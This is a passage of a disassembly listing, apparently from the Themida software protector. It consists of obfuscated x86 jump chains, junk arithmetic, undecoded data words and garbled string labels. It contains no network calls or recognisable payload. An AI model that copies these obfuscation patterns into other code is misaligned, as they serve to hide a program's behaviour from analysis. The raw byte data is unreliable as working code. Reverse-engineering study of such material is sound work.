		dd 0F83EE900h, 8B66FFFFh, 6856240Ch, 2CDCh, 83242489h
		dd 8B042404h, 0C4812434h, 4, 0B9E95351h, 5500005Ch, 6A719768h
		dd 2434FF24h, 4C4815Dh,	0E9000000h, 7312h, 33240431h, 0E95C2404h
		dd 89FCh, 31E9565Fh, 8B000060h,	0C4812404h, 4, 51FA68h
		dd 24048900h, 7919E9h, 0FC33000h, 48FC0B6h, 0F5B7E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54701E:				; CODE XREF: Themida_:0054D7A0j
		mov	[esp], edi
		mov	edi, 74665DA3h
		shr	edi, 1
		xor	edi, 40106FDDh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 87F84191h
		xor	ebx, eax
		pop	eax
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_55119F
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_550462
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 2414895Ch, 0B850E289h, 30A52619h, 0E3E9E0D1h, 8B00003Ch
		dd 54522404h, 59E8E9h, 9AE98100h, 5A7D2102h, 5C240C87h
		dd 50240C89h, 0E4C06DB4h, 9158E904h, 0E1810000h, 2D167BF2h
		dd 0A853E9h, 242C8B00h,	551EE9h, 4EC8100h, 0E9000000h
		dd 838Ah, 1A34ABB0h, 25C2E9h, 0EAC15A00h, 0B098E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5470CA:				; CODE XREF: Themida_:0054AF41j
		push	56A9h
		mov	[esp], ebp
		jmp	loc_54A7AC
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0E4EBA764h, 0C8BCD01h, 4C48124h, 55000000h, 55242C81h
		dd 0E944D610h, 2CE6h
; ---------------------------------------------------------------------------


loc_5470F4:				; CODE XREF: Themida_:005511F4j
		sub	esp, 4
		mov	[esp], ebp
		push	59BCh
		mov	[esp], edi
		mov	edi, 6B478F1h
		push	59CEh
		jmp	loc_549522
; ---------------------------------------------------------------------------


loc_547114:				; CODE XREF: Themida_:00546BDCj
		xor	ecx, 0B6A8A9FBh
		jmp	loc_5514C8
; ---------------------------------------------------------------------------
aAAs		db '╫═*╬aИб',0Bh,0
		dd 0E932FF00h, 0FFFFF4A5h, 65E9F589h, 53000035h, 0C63926BBh
		dd 5B666815h, 34890000h, 0A711E924h, 0EFC00000h, 0FEDFF602h
		dd 5EFC0C7h, 0E950DFF6h, 228Bh,	240C8B66h, 6D7BE9h, 6800h
		dd 34FF0000h, 241C8B24h, 8104C483h, 4ECh, 241C8900h, 1B61E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547182:				; CODE XREF: Themida_:0054825Aj
		mov	edx, 2
		add	ebp, 41426AA6h
		sub	ebp, 3D0679DEh
		add	ebp, edx
		push	ebx
		mov	ebx, 774556C7h
		xor	ebx, 4A432F19h
		add	ebp, 3B9E29BFh
		add	ebp, ebx
		sub	ebp, 3B9E29BFh
		pop	ebx
		jmp	loc_54A7CD
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 30h
		dd 815A6969h, 0C323C5F1h, 59CA0173h, 0AEE9D301h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5471CB:				; CODE XREF: Themida_:0054E36Aj
		pop	eax
		jmp	loc_55048B
; ---------------------------------------------------------------------------
		db 5, 0BEh, 62h
		dd 0C3E97C0Ah, 0FE000015h, 0E9D4F6CCh, 5F13h
; ---------------------------------------------------------------------------


loc_5471E4:				; CODE XREF: Themida_:0054CABCj
		xor	ch, 0E7h
		add	bl, 4Eh
		sub	bl, 37h
		add	bl, 3Bh
		sub	bl, ch
		sub	bl, 3Bh
		add	bl, 37h
		push	eax
		mov	ah, 30h
		inc	ah
		jmp	loc_54FEA4
; ---------------------------------------------------------------------------
aTSci		db 'аБ',7,'ИФ┴',0
		align 2
		dw 0D6B8h
		dd 0C15FD76Bh, 0BA5202E8h, 0ED19495Fh, 5D2C7F2Dh, 30B0E975h
		dd 0C3800000h, 0EB805851h, 88506618h, 0F6F086D8h, 88F086D6h
		dd 48B66C3h, 2C48324h, 56F380h,	68665BD8h, 896642B2h, 11B5240Ch
		dd 2963E9h, 48B6600h, 31406824h, 34890000h, 68E68924h
		dd 294h, 0BF243C89h, 4,	56EEC681h, 16E96B0Dh, 5400006Ah
		dd 5D2434FFh, 81E28952h, 4C2h, 4C28300h, 5C241487h, 257EE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547292:				; CODE XREF: Themida_:00548BE6j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	48D4h
		mov	[esp], edi
		mov	edi, 39862642h
		xor	eax, edi
		jmp	loc_54F2C4
; ---------------------------------------------------------------------------


loc_5472B6:				; CODE XREF: Themida_:0054D751j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5501DC
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 467568h, 24048900h, 405E089h, 5000000h, 4, 0E9240487h
		dd 8CDCh, 805BFD08h, 6FE9C1C5h,	81000032h, 42404h, 0E9590000h
		dd 4076h, 4EC8353h, 0BD242C89h,	4, 60E9EB89h, 81FFFFF3h
		dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 3C3304C7h, 243C3124h
		dd 8DBE9h, 242C8B00h, 0E904C483h, 67F4h
; ---------------------------------------------------------------------------


loc_547340:				; CODE XREF: Themida_:0054E736j
		add	edx, 29956B64h
		jmp	loc_54F77E
; ---------------------------------------------------------------------------
		db 1
		dd 4EC81F8h, 0E9000000h, 0AF89h
; ---------------------------------------------------------------------------


loc_547358:				; CODE XREF: Themida_:0054B02Ej
		sub	ebx, 0A1970EA3h
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54A793
; ---------------------------------------------------------------------------
		dw 8351h
		dd 248904ECh, 24048124h, 4, 81240C8Bh, 4C4h, 0C3BD5500h
		dd 555D623Ah, 5D2414F7h, 731BCD81h, 0C5815D1Eh,	5733265Dh
		dd 72FABA52h, 0C2814FEEh, 24170DEh, 170EA81h, 94E9A903h
		dd 58000052h, 63B6B951h, 0BF57690Eh, 6D6A28AAh,	34E8E981h
		dd 0F9014E29h, 4EC81h, 2E90000h, 810000A5h, 0D72924F3h
		dd 0BEBA5219h, 8144D54Fh, 207218CAh, 0F7D2F76Fh, 0ECEA81DAh
		dd 299BF727h, 0DD895AD3h, 0E9241C8Bh, 7EDh, 5F2F3BBEh
		dd 3FF6813Ch, 53C5F2Fh,	20D96EEDh, 0ED2DF001h, 5E20D96Eh
		dd 5C240487h, 329FB850h, 2CE96FC4h, 830000A9h, 0FF5304EBh
		dd 5B042474h, 5C24048Fh, 89240C89h, 46BD55E1h, 816DD101h
		dd 2EFEBEC5h, 5DE90192h, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 2BD242Ch,	29000000h, 2E685DE9h, 89000048h
		dd 74FF240Ch, 0C8B0424h, 7E31E924h, 0E9010000h,	0B3CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_54747D:				; CODE XREF: Themida_:0054B734j
		sub	esp, 4
		jmp	loc_54D64F
; ---------------------------------------------------------------------------
		dd 0EC83565Ah, 242C8904h, 7218BE56h, 7968353Ch,	89000010h
		dd 0E95D2434h, 2A13h, 7888E953h, 68660000h, 8966285Bh
		dd 0B1B62414h, 5A66F130h, 20B45066h, 0E5E9E128h, 31000005h
		dd 14332414h, 0C7815C24h, 4, 0BEE95053h, 310000AEh, 28295AD5h
		dd 83242C8Bh, 0EEE904C4h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5474E7:				; CODE XREF: Themida_:0054A6D0j
		pop	edx
		jmp	loc_54F4ED
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0EFh
		dd 7FFF30F5h, 2EEFC181h, 0F9293BC0h, 2EEFE981h,	0F6E93BC0h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547507:				; CODE XREF: Themida_:0054FF77j
		add	edx, edi
		mov	ecx, [edx]
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		push	0A5Dh
		mov	[esp], edi
		jmp	loc_548448
; ---------------------------------------------------------------------------
		dw 0B068h
		dd 8900006Ah, 0F0882404h, 5258C588h, 0EC83EE88h, 240C8904h
		dd 0CB88F188h, 0BADE9h,	28BD5500h, 0C15F5938h, 75E907EDh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54754B:				; CODE XREF: Themida_:0054907Ej
		pop	ebp
		inc	ebp
		xor	ebp, 0C4DDAA62h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, edi
		pop	edi
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 63111B90h
		jmp	loc_54E876
; ---------------------------------------------------------------------------
		dd 7FB368h, 242C8900h, 0E868E589h, 89000052h, 0BD55240Ch
		dd 4, 525DE989h, 347396BAh, 0EAC14238h,	8938E908h, 0EB810000h
		dd 1685669Ch, 505BD901h, 2B8h, 0DEE98100h, 13F2170h, 40DFE9C1h
		dd 5B5A0000h, 286EE952h, 0D9280000h, 5E1C05Bh, 5EE9D9F6h
		dd 66000057h, 0E93D94BBh, 44Fh,	7F1E1268h, 240C8B27h, 4C481h
		dd 0F1810000h, 5BAF4C7Ch, 159C829h, 6EBF57D0h, 17CD052h
		dd 148B5FF8h, 4C48324h,	49E9C331h, 0AD000016h, 44C5E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54760A:				; CODE XREF: Themida_:005516B4j
		add	ebp, 4
		jmp	loc_5476FC
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 83242C8Bh, 0DE3104C4h, 5B2434FFh, 94E7E9h, 4B900h, 0CE010000h
		dd 8495E9h
		db 0, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54AD20
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0E9DF3104h, 7AF8h
; ---------------------------------------------------------------------------


loc_547660:				; CODE XREF: Themida_:0054F4CEj
		or	edx, esi
		pop	esi
		add	edx, 0E2180532h
		jmp	loc_54A6D5
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 37911EA2h, 5FFA295Bh, 0DA44C281h, 0B9515B84h, 51E40B31h
		dd 159CB01h, 59BBE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54768E:				; CODE XREF: Themida_:005468E4j
		sub	esi, 7DD94CB2h
		pop	ecx
		pop	edi
		push	esi
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	esi
		push	ebx
		jmp	loc_54B92E
; ---------------------------------------------------------------------------


loc_5476B4:				; CODE XREF: Themida_:00550F01j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54A917
; ---------------------------------------------------------------------------
		dd 0E9C2015Dh, 302Dh
; ---------------------------------------------------------------------------


loc_5476F4:				; CODE XREF: Themida_:0054F78Cj
		add	ecx, edx
		pop	edx
		jmp	loc_54F1AF
; ---------------------------------------------------------------------------


loc_5476FC:				; CODE XREF: Themida_:00547610j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_546CD7
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812414h, 4, 0E9242489h, 0A022h
; ---------------------------------------------------------------------------


loc_547718:				; CODE XREF: Themida_:0054EAA7j
		pop	esp
		sub	bl, 0F2h
		sub	bl, al
		add	bl, 0F2h
		add	bl, 0AEh
		movzx	eax, al
		mov	dx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_547856
; ---------------------------------------------------------------------------
aMIFrqIasS5	db '╛,╗(ьfRQ╠К─ИцИе5',0
		db 0
; ---------------------------------------------------------------------------


loc_547745:				; CODE XREF: Themida_:0054AEA9j
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_5466FA
; ---------------------------------------------------------------------------
		dw 5F53h
		dd 2434FF5Bh, 81242C8Bh, 4C4h, 74D5E900h, 0F680000h, 89000056h
		dd 4812424h, 424h, 24048F00h, 4BB53h, 44810000h, 15E60424h
		dd 5C01567Ah, 6C810424h, 15E60424h, 5CE9567Ah, 0F700004Ch
		dd 9BF4E9DBh, 34FF0000h, 13E95D24h, 8900009Eh, 6855241Ch
		dd 0AF916A5h, 958BE9h, 4CD2D00h, 9125087Ch, 0E9083874h
		dd 74A7h
; ---------------------------------------------------------------------------


loc_5477CC:				; CODE XREF: Themida_:0054F3C8j
		mov	[esp], ecx
		mov	ecx, 28F72EB8h
		mov	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 3461266Ch
		jmp	loc_54C37E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0FFFFFFFFh, 835BDA29h, 55E9FFC2h, 81000070h,	4ECh, 241C8900h
		dd 5607E9h, 8EFC100h, 0C5F6F781h, 0F909345Bh, 0B34E9h
		dd 48B6600h, 7D685624h,	0E9000007h, 0FD4h, 0BB241C89h
		dd 2, 515BD901h, 42474FFh, 235DE959h, 52AC0000h, 0B45012B2h
		dd 58E20839h, 4EC8150h,	89000000h, 0B050240Ch, 30EFB5EEh
		dd 3A52E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547856:				; CODE XREF: Themida_:0054772Ej
		push	esi
		mov	esi, 75C087Ah
		sub	esi, 51252A7Bh
		sub	esi, 0B636DDFBh
		add	edi, esi
		pop	esi
		sub	edi, 4
		push	edi
		jmp	loc_550B31
; ---------------------------------------------------------------------------
		db 89h
		dd 0E952241Ch, 8ECh, 24348B50h,	0E904C483h, 4791h, 2808EFBDh
		dd 5EF5310Ch, 9AE9EB01h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54789B:				; CODE XREF: Themida_:00552124j
		push	edi
		mov	edi, 0D21072Bh
		sub	edi, 4A2B6100h
		and	edi, 22F5402h
		shl	edi, 1
		push	esi
		mov	esi, 66CB208Eh
		shr	esi, 8
		xor	esi, 0F95E11BDh
		sub	edi, esi
		jmp	loc_54B06D
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 0E9h
		dd 9F53h, 52240C89h, 5C615368h,	0E2C15A0Eh, 9C28108h, 0E927B319h
		dd 99DBh
; ---------------------------------------------------------------------------


loc_5478E4:				; CODE XREF: Themida_:00551CCDj
		mov	ebp, 722E0A07h
		add	ecx, ebp
		pop	ebp
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	5845h
		mov	[esp], ebx
		mov	bl, dl
		push	5BD1h
		mov	[esp], edx
		mov	dl, bl
		mov	[edi+eax*4], dl
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		push	4F1Ah
		mov	[esp], edx
		push	ebx
		mov	ebx, 28852CD4h
		not	ebx
		neg	ebx
		dec	ebx
		jmp	loc_54C47B
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 89575004h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 2424895Ch, 4240481h, 8B000000h, 0C4832404h
		dd 40504h, 0E9510000h, 6877h, 0E9241C89h, 0FFFh, 4C481h
		dd 0BD550000h, 58DC14B9h, 5D6CCD81h, 0C1454315h, 0F58108EDh
		dd 5BDD59h, 2120E9h, 0FEFD8600h, 5E5C0C5h, 0B652DDF6h
		dd 18BCE933h, 0C3830000h, 241C3304h, 33241C31h,	248B241Ch
		dd 0EC27E924h, 0B951FFFFh, 500255F8h, 0D5E9CB89h, 5900000Dh
		dd 8704EF83h, 0A4E9243Ch, 3300004Fh, 34312434h,	24343324h
		dd 8B56E9h, 0C2815A00h,	4, 8393E956h, 0E3B70000h, 80C5CF80h
		dd 0E7C036C7h, 4EC8106h, 89000000h, 54F6241Ch, 0BEE90124h
		dd 66000061h, 83240C8Bh, 7E904ECh, 0E9000064h, 0FFFFEBC5h
		dd 0BEE9028Fh, 5BFFFFEBh, 0E1E3C781h, 6DE98A6Dh, 6600004Dh
		dd 8B66D801h, 0C483241Ch, 1911E902h, 0DEF70000h, 1C681h
		dd 0EE810000h, 0DA27AFAAh, 0A22BE9h, 0E9FE0100h, 0FFFFF5A8h
		dd 6624248Bh, 0E99CC83Bh, 0FFFFEB7Dh, 2E6881BDh, 48E2E97Ch
		dd 4FF0000h, 6AE99C24h,	81FFFFEBh, 4C4h, 29C58100h, 0F76B232Eh
		dd 4EC83DDh, 0BB241C89h, 1E4A3B46h, 9E7DE9h, 0D830AC00h
		dd 56AB68h, 241C8900h, 0F6D8B050h, 5E8C0D8h, 0D3E96A0Ch
		dd 0E9000048h, 0FFFFEB2Dh, 0CF005866h, 83240C8Bh, 0F83004C4h
		dd 5B2434FFh, 4C481h, 68660000h, 896651BBh, 0E9532414h
		dd 9180h, 0BB241C89h, 100h, 8841E9h, 24048100h,	4, 0BE565759h
		dd 4A770C0Eh, 770C12BFh, 5EF7294Ah, 565FF901h, 0B42866BEh
		dd 62BD5566h, 2966B428h, 0BAE95DEEh, 68000084h,	74E7h
		dd 0E9241C89h, 2B73h, 0E9240C89h, 84Ch,	4E26E953h, 0E9520000h
		dd 0A583h, 5C5E95Dh, 0C1810000h, 4, 5C240C87h, 0E9C0B60Fh
		dd 97BAh, 5E08950h, 4, 4BD55h, 0E8010000h, 0F3A2E95Dh
		dd 2C81FFFFh, 0AA271F24h, 0EFF9E925h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547B62:				; CODE XREF: Themida_:00548E51j
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_549378
; ---------------------------------------------------------------------------
		dd 7349E181h, 4AE94211h, 8100005Fh, 4C4h, 4E5FE900h, 685B0000h
		dd 2A0Ch, 0B8240489h, 4, 3358C601h, 34312434h, 61DCE924h
		dd 4280000h, 2AE99C24h,	8BFFFFEAh, 38E92424h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_547BB3:				; CODE XREF: Themida_:0054F5AEj
		or	eax, 0BA00FC7h
		jmp	loc_552685
; ---------------------------------------------------------------------------


loc_547BBD:				; CODE XREF: Themida_:0054F1C7j
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_54FE49
; ---------------------------------------------------------------------------
		db 40h
		dd 3D739F05h, 471B352Dh, 51E9EA42h, 68000031h, 1BA33514h
		dd 6CF5E9h, 25EB8000h, 1DDAE9h,	4C48100h, 56000000h, 156200BEh
		dd 4DEE811Ch, 0C13CF314h, 0F68105E6h, 0DA068552h, 315EF289h
		dd 0E9555DEAh, 0B44h, 0E9243C33h, 5632h, 42Dh, 24048700h
		dd 242C895Ch, 42474FFh,	24048F5Dh, 0FFFF7AE9h, 77D5BEFFh
		dd 0DCE90C1Fh, 5B000045h, 1DC9E9h, 0E95B5800h, 9274h, 0E0BD555Ah
		dd 1DE9659h, 99E5E9E9h,	86590000h, 86DDF6ECh, 0A672E9ECh
		dd 34FF0000h, 241C8B24h, 2101E9h
		db 0
; ---------------------------------------------------------------------------


loc_547C6D:				; CODE XREF: Themida_:00550062j
		add	esp, 4
		not	edi
		push	ebp
		jmp	loc_54D9E8
; ---------------------------------------------------------------------------


loc_547C78:				; CODE XREF: Themida_:00551ABAj
		mov	[esp], edi
		push	0B944CFCh
		pop	edi
		mov	eax, edi
		pop	edi
		push	edi
		jmp	loc_54DBDF
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 1F8A1296h, 69C7EB81h, 0EB81051Ch, 64CB0089h,	1E1DEB81h
		dd 0C32966EDh, 1E1DC381h, 0BF5766EDh, 64CB0089h, 0B9E9FB01h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547CB7:				; CODE XREF: Themida_:00552328j
		add	esi, edi
		jmp	loc_5468E1
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 99B151D8h, 0E1D0C9FEh, 848FE9h, 4C78100h, 81000000h
		dd 4C7h, 243C8700h, 4EDAE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547CE2:				; CODE XREF: Themida_:005499FEj
		neg	esi
		inc	esi
		push	ecx
		jmp	loc_54DFFF
; ---------------------------------------------------------------------------
aXsQ		db 'яЕИ]Q',0
		align 2
		dw 15Eh
		dd 175FE9F8h, 74FF0000h, 8F5A0424h, 585C2404h, 1C8BD830h
		dd 0EB63E924h, 1C87FFFFh, 738E924h, 0FF5F0000h,	0E8B7E930h
		dd 575DFFFFh, 0B44895BFh, 56535648h, 0D01F27BEh, 3E2EBB42h
		dd 0F3316184h, 0A18FBE5Eh, 0DE01D006h, 7AEF815Bh, 81702622h
		dd 0DD4264C7h, 81F7013Bh, 0DD4264EFh, 7AC7813Bh, 5E702622h
		dd 0B7E9FE01h, 59000076h, 42715F25h, 10E3525h, 0EEE92502h
		dd 89000049h, 0DDE95DE9h, 0E9FFFFEEh, 0FFFFE859h
; ---------------------------------------------------------------------------


loc_547D7C:				; CODE XREF: Themida_:0054AEBFj
		add	esp, 4
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
		db 59h
		dd 80B15152h, 0CA3069B2h, 0DAF28059h, 0EA80DAF6h, 5AD32836h
		dd 2815C380h, 0E9B652C3h, 0E9FFC680h, 3406h, 242CD366h
		dd 0E81FE99Ch, 1489FFFFh, 9264E924h, 0E1C10000h, 6387E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547DC6:				; CODE XREF: Themida_:0054C02Fj
		mov	ebp, [esp]
		add	esp, 4
		push	52AFh
		mov	[esp], eax
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54E2B5
; ---------------------------------------------------------------------------
		dd 8C38158h, 816FD408h,	7733AEC3h, 81C3017Eh, 7733AEEBh
		dd 8EB817Eh, 0E96FD408h, 5357h
; ---------------------------------------------------------------------------


loc_547E0C:				; CODE XREF: Themida_:0055112Bj
		push	5B2E1ECCh
		pop	eax
		jmp	loc_54C026
; ---------------------------------------------------------------------------


loc_547E17:				; CODE XREF: Themida_:00551A6Fj
		and	eax, edi
		mov	edi, [esp]
		push	6A08h
		jmp	loc_54F81C
; ---------------------------------------------------------------------------
aAczqsg		db '[─Г╖QИG',1Bh,0
		align 10h
		dd 3304C383h, 1C31241Ch, 1EB8E924h, 50520000h, 0E688CC88h
		dd 9590E958h, 0F8010000h, 545CD12Dh, 0BB535F05h, 2, 6FE9D801h
		dd 400007Eh, 8C0BE923h,	5AD0000h, 6EA751A5h, 0D6435F05h
		dd 60610566h, 0D8295A83h, 8360612Dh, 4EC835Ah, 0E9241C89h
		dd 0FFFFE93Bh
; ---------------------------------------------------------------------------


loc_547E88:				; CODE XREF: Themida_:0054ADC8j
		pop	ecx
		pop	edx
		push	ecx
		push	esi
		mov	esi, 46113338h
		push	edi
		push	ebp
		jmp	loc_549079
; ---------------------------------------------------------------------------
		dd 11A2BF57h, 0EF8150ABh, 50AB11A0h, 2764E9h, 9AEF8100h
		dd 8152192Ah, 6F34ADEFh, 24148B31h, 4C481h, 0B8500000h
		dd 4, 0E958C729h, 82EEh, 4C381h, 0E9500000h, 548h, 5E2434FFh
		dd 575E5456h, 4BFh, 51C68100h, 13C8605h, 0E2BA52FEh, 0C16D8655h
		dd 814A03EAh, 36CFEAF2h, 0E9D62931h, 8117h, 392B2D59h
		dd 0C80104EAh, 2816E9h,	240C3300h, 2BF4E9h, 24348B00h
		dd 815F5457h, 4C7h, 5B436800h, 34890000h, 4BE24h, 0F7010000h
		dd 243C335Eh, 33243C31h, 95C243Ch, 3811E9C0h, 0E95F0000h
		dd 6D35h, 5A2434FFh, 2BDB68h, 242C8900h, 0C581E589h, 4
		dd 4C581h, 2C870000h, 24248B24h, 0A224E9h, 0E9D82900h
		dd 3211h, 0FE7AB753h, 9BE780C7h, 6043E9h, 4EEA8000h, 0AC280h
		dd 34FF5AD0h, 0C4815924h, 4, 834CE9h, 8AC78100h, 0C12E6C79h
		dd 9CE907EFh, 0BF00005Dh, 5F41337Ch, 3371E9h
		db 0
; ---------------------------------------------------------------------------


loc_547FB5:				; CODE XREF: Themida_:0054EFB5j
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_552109
; ---------------------------------------------------------------------------
aZsu		db 'ZИН<',0
		align 4
		dd 582434FFh, 9432E952h, 0C6800000h, 3EB05000h,	0E958C620h
		dd 9C2Ch, 1685F54h, 89000055h, 2EE9241Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547FEF:				; CODE XREF: Themida_:0054D840j
		add	[eax], ebx
		pop	eax
		pop	ebx
		jmp	loc_552610
; ---------------------------------------------------------------------------
		dd 5E2414F7h, 9F50E9h
		db 0
; ---------------------------------------------------------------------------


loc_548001:				; CODE XREF: Themida_:0054F4EEj
		mov	esi, esp
		push	edi
		mov	edi, 293B4863h
		push	0
		sub	[esp], edi
		pop	edi
		jmp	loc_54AEAE
; ---------------------------------------------------------------------------


loc_548017:				; CODE XREF: Themida_:0054FE9Fj
		add	esp, 4
		add	edx, ebp
		jmp	loc_54847F
; ---------------------------------------------------------------------------


loc_548021:				; CODE XREF: Themida_:00550D08j
		add	ebp, 49120BD7h
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_54CF33
; ---------------------------------------------------------------------------
		dw 1489h
		dd 88D2B224h, 0CE885AD1h, 0FFF78859h, 0E95A2434h, 15ADh
		dd 0E9240C89h, 0FFFFE57Dh, 4BDh, 0F414E900h, 0DEF7FFFFh
		dd 27E9DEF7h, 89000058h, 0BA2414h, 81000000h, 526E6DEAh
		dd 55DA0131h, 0C008BEBDh, 51ED810Ch, 1DB6D9Ah, 3AE95DEAh
		dd 8BFFFFE9h, 0C481240Ch, 4, 8E44E9h, 4C58100h,	53000000h
		dd 2BBh, 0E9DD0100h, 136Fh, 31242C33h, 2C33242Ch, 51CEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5480BE:				; CODE XREF: Themida_:0054C3F6j
		pop	ebx
		xor	ecx, edx
		jmp	loc_54F457
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 2134E904h, 0C5010000h, 81C50158h, 0E56DC4EDh, 0F5C5814Ah
		dd 8169695Dh, 8144C8C5h, 6400E914h, 8B590000h, 0BBE92414h
		dd 56FFFFEBh, 353DD9BEh, 7C24E936h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5480FE:				; CODE XREF: Themida_:005482AEj
		and	eax, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	7487h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_549B2D
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2434FF04h, 0FFE901E9h, 3EEF80FFh, 5106E7C0h,	0C4E958B1h
		dd 31000098h, 0EE815DE9h, 76116BECh, 0C681CE01h, 76116BECh
		dd 2BB5359h, 0E9000000h, 6A9Eh,	0D1E3ABAh, 6FF28115h, 894F9504h
		dd 1709E9D3h, 7EB90000h, 13A6614h, 15A59C8h, 263368D8h
		dd 3C890000h, 7ACBBF24h, 0E78144DFh, 455604CBh,	0EFD1DFF7h
		dd 0E953D7F7h, 732Bh, 0EF815F5Eh, 450315Fh, 0E951CF01h
		dd 7EF9h, 0C581E589h, 4, 4ED81h, 2C870000h, 6FE95C24h
		dd 5E00000Bh, 9EEFE9h, 34316600h, 2C0CE924h, 74FF0000h
		dd 8F5A0424h, 30E92404h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5481EB:				; CODE XREF: Themida_:0054DB26j
		add	esp, 4
		jmp	loc_5498AA
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 148B0424h, 4C48124h,	8F000000h, 0E95C2404h, 65F1h, 4C481h
		dd 53E90000h, 6800009Dh, 2344h,	68243489h, 1, 0FF2434FFh
		dd 0CFE92434h, 0FF00000Dh, 0C8B2434h, 4C48324h,	4C481h
		dd 5DB20000h, 43F1E9h, 48B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	20E4h
		mov	[esp], edx
		jmp	loc_547182
; ---------------------------------------------------------------------------
		db 85h
		dd 6EE99CC8h, 8BFFFFE3h, 0C4812434h, 4,	31240C33h, 0C33240Ch
		dd 24248B24h, 8B2434FFh, 89562414h, 0D2E952E6h,	5F000092h
		dd 0E9241C87h, 1D8h, 79CDC381h,	0E95A289Eh, 9B9Bh, 0C781E789h
		dd 4, 7DE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5482AD:				; CODE XREF: Themida_:0054FAEFj
		pop	esi
		jmp	loc_5480FE
; ---------------------------------------------------------------------------
		db 87h
		dd 685C241Ch, 6D51h, 0E9241489h, 6B3Fh,	0FFE30CE9h, 24248BFFh
